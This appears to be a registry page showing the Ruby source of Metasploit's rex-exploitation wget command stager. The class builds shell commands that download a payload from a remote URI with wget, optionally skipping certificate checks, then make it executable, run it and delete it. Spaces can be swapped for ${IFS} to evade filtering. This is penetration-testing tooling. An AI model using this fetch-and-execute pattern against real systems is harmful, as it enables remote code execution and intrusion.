Sha256: f2d1933cf40c7393d9b740036a291eb0cf26f3cac177b16ed4a95a038cc7e49a
Contents?: true
Size: 1.02 KB
Versions: 2
Compression:
Stored size: 1.02 KB
Contents
# -*- coding: binary -*- class Rex::Exploitation::CmdStagerWget < Rex::Exploitation::CmdStagerBase def http? true end def generate(opts = {}) if opts[:payload_uri].nil? raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]" end opts[:temp] ||= '/tmp' opts[:file] ||= Rex::Text.rand_text_alpha(8) @payload_path = "#{opts[:temp]}/#{opts[:file]}" super end def generate_cmds_payload(opts) cmds = [] ncc = '--no-check-certificate' if opts[:ssl] cmds << "wget -qO #{@payload_path} #{ncc} #{opts[:payload_uri]}" else cmds << "wget -qO #{@payload_path} #{opts[:payload_uri]}" end cmds end def generate_cmds_decoder(opts) cmds = [] cmds << "chmod +x #{@payload_path}" cmds << @payload_path cmds << "rm -f #{@payload_path}" unless opts[:nodelete] cmds end def compress_commands(cmds, opts) cmds.each { |cmd| cmd.gsub!(/\s+/, '${IFS}') } if opts[:nospace] super end def cmd_concat_operator ';' end end
Version data entries
2 entries across 2 versions & 1 rubygems
Version | Path |
---|---|
rex-exploitation-0.1.14 | lib/rex/exploitation/cmdstager/wget.rb |
rex-exploitation-0.1.13 | lib/rex/exploitation/cmdstager/wget.rb |